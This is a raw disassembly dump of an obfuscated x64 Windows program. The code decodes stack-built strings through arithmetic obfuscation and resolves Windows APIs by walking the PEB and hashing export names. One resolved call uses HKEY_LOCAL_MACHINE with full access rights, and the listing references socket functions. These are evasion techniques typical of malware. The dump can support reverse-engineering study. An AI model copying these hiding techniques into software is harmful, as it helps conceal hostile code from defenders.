movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xfd0]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140163215
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
add dil, dl
jmp 0x140163245
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
jmp 0x1401631dd
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x140163162
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xfd0], r8b
jmp 0x14016315f
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
add r10, r12
sub r9, r12
jmp 0x1401632a9
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xfd0], cl
jmp 0x1401631da
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401632a9
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xfd0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xfd0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14016329a
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xfd0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140162746
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140162743
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x22
jmp 0x140162733
lea rdx, [rbp + 0x1600548]
jmp 0x140163315
lea rdx, [rbp + 0x1027062]
jmp 0x140163315
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x278]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1310]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14016334a
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x1310]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1310]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1310]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x6a0], Ordinal_60
mov byte [rbp + 0x6a1], Ordinal_143
mov byte [rbp + 0x6a2], 0x61
mov byte [rbp + 0x6a3], 0xf3
mov byte [rbp + 0x6a4], 0x5a
mov byte [rbp + 0x6a5], 0xf1
mov byte [rbp + 0x6a6], 0x62
mov byte [rbp + 0x6a7], 0xf7
mov byte [rbp + 0x6a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6a9], 0xf5
mov byte [rbp + 0x6aa], 0x5b
mov byte [rbp + 0x6ab], 0xfb
mov byte [rbp + 0x6ac], WSACleanup
mov byte [rbp + 0x6ad], 0xf9
mov byte [rbp + 0x6ae], 0x5b
mov byte [rbp + 0x6af], 0xff
mov byte [rbp + 0x6b0], sil
mov byte [rbp + 0x6b1], 0xfd
mov byte [rbp + 0x6b2], 0x59
mov byte [rbp + 0x6b3], 0xe3
mov byte [rbp + 0x6b4], Ordinal_79
mov byte [rbp + 0x6b5], 0xe1
mov byte [rbp + 0x6b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6b7], 0xe7
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6b9], 0xe5
mov byte [rbp + 0x6ba], 0x7f
mov byte [rbp + 0x6bb], 0xeb
mov byte [rbp + 0x6bc], 0x7a
mov byte [rbp + 0x6bd], 0xe9
mov byte [rbp + 0x6be], Ordinal_79
mov byte [rbp + 0x6bf], 0xef
mov byte [rbp + 0x6c0], 0x7a
mov byte [rbp + 0x6c1], 0xed
mov byte [rbp + 0x6c2], 0x88
mov byte [rbp + 0x6c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6c4], 0x84
mov byte [rbp + 0x6c5], Ordinal_211
mov byte [rbp + 0x6c6], Ordinal_217
mov byte [rbp + 0x6c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6c8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401640b2
movzx r8d, byte [rbp + r9 + 0x6a0]
mov rdx, r8
cmp rbx, r9
ja 0x1401640a9
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14016350c
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x4e
jmp 0x140163550
je 0x140164028
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140163f9f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140163f70
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140163f24
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140163ed3
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401640a0
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140163576
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14016378b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140163eb1
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140163e8d
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140163e66
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140163e3f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140163e1c
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140163b6a
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140163b47
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140163b20
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140163afc
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140163ae8
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140163ac4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140163aa1
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140163a82
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140163a5f
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140163a38
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401635c4
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14016407e
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14016405a
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401637c6
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401637a3
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14016377c
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401639d7
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140163979
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140163929
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401638fe
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401635c4
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401638ea
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1401638c7
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401638a4
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140163890
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x14016386e
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140163847
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140163824
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140163801
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401637ed
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401635c4
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x1401635c4
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401635b7
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x140163550
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401634d3
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x140163ebe
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140163f19
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140163f1c
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140163f42
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140163f6b
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140163e4e
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140163fc1
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140163ff3
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x140163a47
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
mov byte [rbp + r9 + 0x6a0], dil
jmp 0x140164052
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 9
jb 0x14016391c
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140163ef1
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
cmp rbx, 0x1000
jae 0x140163dbf
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x140163d04
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x14016394b
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x80
je 0x140163ded
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x140163c4a
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140163997
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140164043
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140163ff3
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140163e11
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140163f8c
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140163f6b
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140163cbe
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140163f1c
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163f19
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140163c72
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x140163b91
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401639f8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140163bbd
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140164043
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140163bea
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140163fbe
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140163c16
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140163f8c
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401639f8
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140163f6b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140163c7a
movabs rdx, 0xb4987d18e7410842
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140163ef1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140163ca6
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x140163f19
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140163cd0
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140163de2
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140163997
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140164043
jne 0x140163d29
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140164043
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140163d55
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140163fc1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140163d72
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140163e4e
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140163d9e
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140163f42
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14016394b
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140163ebe
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x6a0]
sub dil, al
sub dil, 0x50
add dil, dl
add dil, r8b
jmp 0x140163f42
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6a0]
add dil, r8b
add dil, dl
jmp 0x140163fc1
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x140163fc1
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163f8c
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163f6b
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163f1c
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140163ef1
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6a0], cl
add r10, r12
sub r9, r12
jmp 0x140164052
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r10
jmp 0x140163f8c
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140164052
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, cl
add dil, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140164043
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, r14b
movzx eax, byte [rbp + r9 + 0x6a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1401634c0
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x1401634bd
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1401634ad
lea rsi, [rbp + 0x145e448]
jmp 0x1401640b9
lea rsi, [rbp + 0x136ab86]
jmp 0x1401640b9
lea rsi, [rbp + 0x6a0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140164225
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164130
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140164123
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164114
cmp edx, edi
jne 0x140164209
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164209
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164209
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140164182
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164177
cmp edx, dword [rsp + 0x6c]
je 0x140164198
test ebx, ebx
jne 0x140164163
jmp 0x140164209
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14016421e
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14016421e
mov eax, 0x811c9dc5
mov edi, eax
mov ecx, eax
mov dword [rsp + 0x6c], eax
jmp 0x1401641dc
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x1401641ce
add r10, r12
mov al, byte [r10]
test al, al
je 0x140164206
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x1401641ed
mov dword [rsp + 0x6c], ecx
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x14016421b
cmp qword [r8 + 0x30], r13
jne 0x1401640e3
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401643ce
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
mov r15d, 0x811c9dc5
test edi, edi
je 0x1401642d8
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x1401642ca
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401642b9
cmp r8d, edi
jne 0x1401643bd
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401643bd
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401643bd
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, r15d
jmp 0x14016432a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x14016431d
cmp r8d, r14d
je 0x14016433f
test ebx, ebx
jne 0x14016430b
jmp 0x1401643bd
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1401643c5
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x1401643c5
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x68], ecx
jmp 0x140164380
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140164372
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x1401643a7
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14016438f
mov dword [rsp + 0x68], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x68]
mov rax, qword [rax]
jmp 0x140164285
mov qword [0x1404fc118], rdx
jmp 0x1401643d4
mov r15d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14016453d
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140164450
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140164443
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140164434
cmp edx, edi
jne 0x140164521
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140164521
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140164521
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x1401644a0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140164495
cmp edx, dword [rsp + 0x70]
je 0x1401644b6
test ebx, ebx
jne 0x140164483
